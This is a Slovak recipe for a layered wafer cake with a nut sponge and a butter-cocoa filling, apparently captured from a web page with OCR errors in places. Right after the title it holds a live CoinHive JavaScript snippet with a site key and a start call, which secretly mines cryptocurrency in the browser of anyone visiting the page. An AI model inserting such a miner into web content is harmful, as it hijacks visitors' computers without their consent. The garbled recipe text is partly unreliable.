Na oblatke

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();
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4uije: oblatky, lekvar (malinovy) alebo dzem (viSnovy), 5 PL muky (Mix C) mierne
zarovnané, 12 PL mletych orechov (kopcovité), 1 prasok do peciva, 6 vajec, 20 dkg praskového
cukru

Postup: Na plech poukladame celé oblatky, natrieme ich lekvarom alebo dzemom. Do misky si
pripravime muku, orechy a prasok do peciva. Z bielkov rucne vyslahdme do polovice sneh,
pridame cukor a sneh §fahame dialej, pridame po 1 Zitku, primie$ame pripravent
mukovo-orechovu zmes. Po premieSani vylejeme na oblatku a peCieme v predhriatej rare na
180°C cca 8 minut, potom dopekame pri 150°C.

Plnka: 25 dkg masla, 20 dkg praskového cukru, 2 celé vajcia, kusok ¢okolady na strahanie, 3
CL kakaa

Postup: VymieSame maslo v mixéri, pridame cukor a dobre mieSame minimalne 20 minut,
potom pridame 2 celé vajcia a premieSame. Na upeceny kola¢ natrieme plinku a postrihame
cokoladu.




